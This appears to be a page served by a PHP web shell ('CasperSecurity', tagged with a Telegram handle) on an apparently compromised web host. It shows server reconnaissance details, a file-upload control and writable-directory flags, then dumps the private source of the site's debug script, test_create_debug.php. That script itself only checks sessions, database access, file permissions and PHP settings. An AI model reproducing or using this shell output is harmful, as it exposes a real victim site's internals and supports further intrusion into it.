T.ME/BIBIL_0DAY
CasperSecurity


Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/gositeme/domains/soundstudiopro.com/private_html/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gositeme/domains/soundstudiopro.com/private_html/utils/test_create_debug.php
<?php
session_start();
error_reporting(E_ALL);
ini_set('display_errors', 1);

echo "<h1>SoundStudioPro Create.php Debug Test</h1>";

// Test 1: Session
echo "<h2>1. Session Test</h2>";
echo "Session status: " . (session_status() === PHP_SESSION_ACTIVE ? 'Active' : 'Not active') . "<br>";
echo "Session ID: " . session_id() . "<br>";
echo "User ID in session: " . ($_SESSION['user_id'] ?? 'Not set') . "<br>";

// Test 2: Database Connection
echo "<h2>2. Database Connection Test</h2>";
require_once 'config/database.php';
$pdo = getDBConnection();
if ($pdo) {
    echo "✅ Database connection successful<br>";
    
    // Test user query
    if (isset($_SESSION['user_id'])) {
        $stmt = $pdo->prepare("SELECT name, credits FROM users WHERE id = ?");
        $stmt->execute([$_SESSION['user_id']]);
        $user = $stmt->fetch();
        if ($user) {
            echo "✅ User found: " . $user['name'] . " (Credits: " . $user['credits'] . ")<br>";
        } else {
            echo "❌ User not found in database<br>";
        }
    } else {
        echo "⚠️ No user_id in session - would redirect to login<br>";
    }
} else {
    echo "❌ Database connection failed<br>";
}

// Test 3: File Includes
echo "<h2>3. File Include Test</h2>";
$required_files = [
    'includes/header.php',
    'includes/footer.php',
    'config/database.php'
];

foreach ($required_files as $file) {
    if (file_exists($file)) {
        echo "✅ $file exists<br>";
    } else {
        echo "❌ $file missing<br>";
    }
}

// Test 4: API Endpoint
echo "<h2>4. API Endpoint Test</h2>";
if (file_exists('api.php')) {
    echo "✅ api.php exists<br>";
    
    // Test if API is accessible
    $api_url = 'http://' . $_SERVER['HTTP_HOST'] . '/api.php';
    echo "API URL: $api_url<br>";
} else {
    echo "❌ api.php missing<br>";
}

// Test 5: Permissions
echo "<h2>5. File Permissions Test</h2>";
$files_to_check = [
    'create.php',
    'api.php',
    'config/database.php',
    'includes/header.php'
];

foreach ($files_to_check as $file) {
    if (file_exists($file)) {
        $perms = fileperms($file);
        $perms_octal = substr(sprintf('%o', $perms), -4);
        echo "✅ $file: $perms_octal<br>";
    }
}

// Test 6: PHP Configuration
echo "<h2>6. PHP Configuration Test</h2>";
echo "PHP Version: " . phpversion() . "<br>";
echo "cURL enabled: " . (function_exists('curl_init') ? 'Yes' : 'No') . "<br>";
echo "JSON enabled: " . (function_exists('json_encode') ? 'Yes' : 'No') . "<br>";
echo "PDO enabled: " . (extension_loaded('pdo') ? 'Yes' : 'No') . "<br>";
echo "PDO MySQL enabled: " . (extension_loaded('pdo_mysql') ? 'Yes' : 'No') . "<br>";

// Test 7: Simulate create.php variables
echo "<h2>7. Create.php Variable Test</h2>";
if (isset($_SESSION['user_id'])) {
    $stmt = $pdo->prepare("SELECT name, credits FROM users WHERE id = ?");
    $stmt->execute([$_SESSION['user_id']]);
    $user = $stmt->fetch();
    $user_name = $user['name'] ?? 'User';
    $credits = $user['credits'] ?? 0;
    
    echo "User name: $user_name<br>";
    echo "Credits: $credits<br>";
    echo "Page title: Create Music - SoundStudioPro<br>";
} else {
    echo "⚠️ Cannot test variables - no user session<br>";
}

echo "<h2>8. Recommendations</h2>";
if (!isset($_SESSION['user_id'])) {
    echo "🔴 <strong>Main Issue:</strong> User not logged in. Redirect to login page.<br>";
    echo "🔧 <strong>Fix:</strong> Visit <a href='/auth/login.php'>/auth/login.php</a> first<br>";
} else {
    echo "✅ User is logged in<br>";
    if ($credits < 1) {
        echo "⚠️ <strong>Warning:</strong> User has no credits (" . $credits . ")<br>";
        echo "🔧 <strong>Fix:</strong> Add credits to user account<br>";
    } else {
        echo "✅ User has sufficient credits<br>";
    }
}

echo "<hr>";
echo "<p><strong>Next Steps:</strong></p>";
echo "<ol>";
echo "<li>If not logged in, visit the login page</li>";
echo "<li>If logged in but no credits, add credits to your account</li>";
echo "<li>If everything looks good, try accessing create.php again</li>";
echo "<li>Check browser console for JavaScript errors</li>";
echo "</ol>";
?> 

CasperSecurity Mini